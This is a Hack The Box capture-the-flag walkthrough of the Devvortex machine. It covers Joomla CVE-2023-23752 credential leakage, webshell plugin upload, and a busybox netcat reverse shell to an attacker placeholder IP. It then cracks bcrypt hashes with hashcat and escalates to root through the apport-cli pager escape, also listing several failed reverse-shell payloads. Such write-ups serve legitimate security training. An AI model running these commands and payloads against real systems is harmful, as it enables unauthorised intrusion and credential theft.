Devvortex — Hack The Box
| Info | Value |
|---|---|
| OS | Linux (Ubuntu 20.04.6 LTS) |
| Difficulty | Easy |
| Hostname | devvortex.htb / dev.devvortex.htb |
| Services | SSH (22), HTTP/Nginx (80) |
Enumeration
Nmap
sudo nmap -Pn -sC -sV -p- -vvv -oA nmap.scan <TARGET_IP>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/Open ports:
- 22/tcp — OpenSSH 8.2p1 Ubuntu
- 80/tcp — Nginx 1.18.0 → redirect to
http://devvortex.htb/
Directory Bruteforce — Main Site
ffuf -u http://devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -o scan/ffuf-dirs.json -of jsonNothing relevant — static site with HTML pages (about.html, contact.html, do.html).
VHost Enumeration — The Key
Subdomain Fuzzing vs VHost Fuzzing
These are two different techniques that solve different problems:
Subdomain Fuzzing (DNS) VHost Fuzzing (HTTP) How it works Queries a DNS server to find A/CNAME records of subdomains ( dig,subfinder,amass,dnsrecon)Sends HTTP requests to the same IP while varying the Host:header (ffuf -H "Host: FUZZ.domain")What’s needed A DNS server that responds for the target domain A web server that uses virtual hosting (routing based on Host header) When it works When the target has a real DNS server with configured records When the web server (Nginx, Apache) has multiple server blocks/vhosts on the same IP In HTB Does not work — there is no real DNS server, we use /etc/hostsWorks — Nginx routes requests to the correct vhost based on the HostheaderOn this machine,
dev.devvortex.htbcannot be discovered via DNS. It is an Nginx virtual host: same IP, same server, but different content depending on theHostheader. The only way to find it is VHost fuzzing.
ffuf -H "Host: FUZZ.devvortex.htb" -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb/ -fs <baseline_size>Found: dev.devvortex.htb
Directory Bruteforce — dev.devvortex.htb
dirsearch -u http://dev.devvortex.htb/ -e php,html,txt,js,json,xml,bak,old,asp,aspx -o scan/dirsearch.txtRelevant results:
/administrator/→ Joomla admin panel (12KB)/api/→ Joomla API endpoint
The admin panel confirms: Joomla CMS.
Foothold — CVE-2023-23752 (Joomla API Information Disclosure)
Vulnerability
Joomla 4.0.0 - 4.2.7 — The Joomla REST API exposes endpoints that should require authentication, but the
public=trueparameter bypasses the checks. This allows an unauthenticated attacker to read the application configuration (including DB credentials) and the list of users.
User Enumeration
GET /api/index.php/v1/users?public=true{
"data": [
{"id": 649, "username": "lewis", "email": "lewis@devvortex.htb", "group_names": "Super Users"},
{"id": 650, "username": "logan", "email": "logan@devvortex.htb", "group_names": "Registered"}
]
}Configuration Leak
GET /api/index.php/v1/config/application?public=trueDB credentials found:
| Field | Value |
|---|---|
| DB User | lewis |
| DB Pass | P4ntherg0t1n5r3c0n## |
| DB Name | joomla |
| DB Prefix | sd4fg_ |
| DB Host | localhost |
Root cause: The database password is the same as the Joomla admin user lewis.
Admin Login + Webshell Upload
Login to /administrator/ with lewis / P4ntherg0t1n5r3c0n## — access as Super User.
Upload of a malicious webshell plugin (p0dalirius/Joomla-webshell-plugin):
curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}Reverse Shell
Try various reverse shells — the system uses sh (not bash) and OpenBSD netcat (without -c/-e):
| Payload | Result |
|---|---|
bash -i >& /dev/tcp/... | Syntax error — sh does not support /dev/tcp |
nc -c /bin/bash | invalid option -- 'c' — OpenBSD nc |
nc -e /bin/bash | invalid option -- 'e' — OpenBSD nc |
rm /tmp/f;mkfifo... | Syntax error — URL encoding broken on >& |
Checked if BusyBox is available (it has a netcat with -e):
curl -X POST '...' --data "action=exec&cmd=busybox"
# → BusyBox v1.30.1 — nc present with -e support!Working Payload:
# Listener (attacker):
nc -nvlp 443
# Via webshell:
curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' \
--data "action=exec&cmd=busybox nc <ATTACKER_IP> 443 -e /bin/bash"busybox nc
When the system
ncis the OpenBSD version (no-c/-e), always checkbusybox. The BusyBox version of netcat supports-efor shell exec — it’s a reliable fallback already present on many Ubuntu/Debian systems.
Shell Stabilization
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
stty rows 38 columns 116User — logan
Enumeration as www-data
cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# logan:x:1000:1000:,,,:/home/logan:/bin/bash
cat /home/logan/user.txt
# Permission denied — user.txt readable only by logan
cat /var/www/dev.devvortex.htb/configuration.php
# Confirms DB credentialsMySQL — Dump Hash
mysql -u lewis -p
# Password: P4ntherg0t1n5r3c0n##use joomla;
select * from sd4fg_users;| Username | Hash |
|---|---|
| lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
hashcat — Crack bcrypt
echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash.txt
hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 3200Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho
Status...........: CrackedCracked: logan → tequieromucho
SSH as logan
ssh logan@devvortex.htb
# Password: tequieromuchoUser flag obtained.
Privilege Escalation — CVE-2023-1326 (apport-cli)
sudo -l
logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cliCVE-2023-1326 — apport-cli Pager Escape
Vulnerability
apport-cli 2.26.0 and earlier — When invoked with
sudo, apport-cli useslessas a pager to display reports. Sincelessallows shell escape via the!command, a user can obtain a root shell.Ref: https://nvd.nist.gov/vuln/detail/CVE-2023-1326 PoC: https://github.com/diego-tella/CVE-2023-1326-PoC
Root cause:
apport-cliinvokes an interactive pager (less) inheriting root privileges from sudo.lessallows execution of arbitrary commands with!command, providing a shell with the parent process’s permissions — root.
Exploitation
sudo /usr/bin/apport-cli -f
# 1: Display (X.org)
# 2: Freezes or hangs during boot or usage
# (press key to continue)
# V: View report
# → opens less as root
# type: !/bin/bashroot@devvortex:/home/logan# whoami
rootRoot flag obtained.
Attack Chain Summary
Nmap → devvortex.htb (redirect) → VHost fuzzing → dev.devvortex.htb
↓
Joomla CMS → CVE-2023-23752 (API info disclosure) → DB creds lewis
↓
Admin login → Webshell plugin upload → RCE www-data
↓
busybox nc reverse shell → Shell stabilization
↓
MySQL dump → bcrypt hash logan → hashcat -m 3200 → tequieromucho
↓
SSH logan → user.txt
↓
sudo apport-cli → CVE-2023-1326 pager escape → root
## Lessons Learned
- **Subdomain vs VHost fuzzing:** In environments without real DNS (HTB, internal labs), subdomain fuzzing via DNS is useless. VHost fuzzing via HTTP (`Host: FUZZ.domain`) is the only way to discover virtual hosts on the same IP. This distinction is fundamental.
- **busybox as fallback:** When `nc` is the OpenBSD version (without `-c`/`-e`), `busybox nc` is a reliable alternative already present on many systems.
- **API info disclosure:** CMS REST APIs (Joomla, WordPress) are often a goldmine of information — always enumerate them.
- **hashcat autodetect:** If `-m` is not specified, hashcat attempts autodetect but asks for confirmation. For bcrypt (`$2y$`), always use `-m 3200`.
- **Pager escape:** Any tool that invokes a pager (`less`, `more`, `man`) as root is a potential privilege escalation vector — always check GTFOBins.
## Timeline
- **Total time:** ~2 hours
- **Where I spent most time:** Reverse shell — multiple attempts with `nc` and bash before finding `busybox nc`
- **Subjective difficulty:** 4/10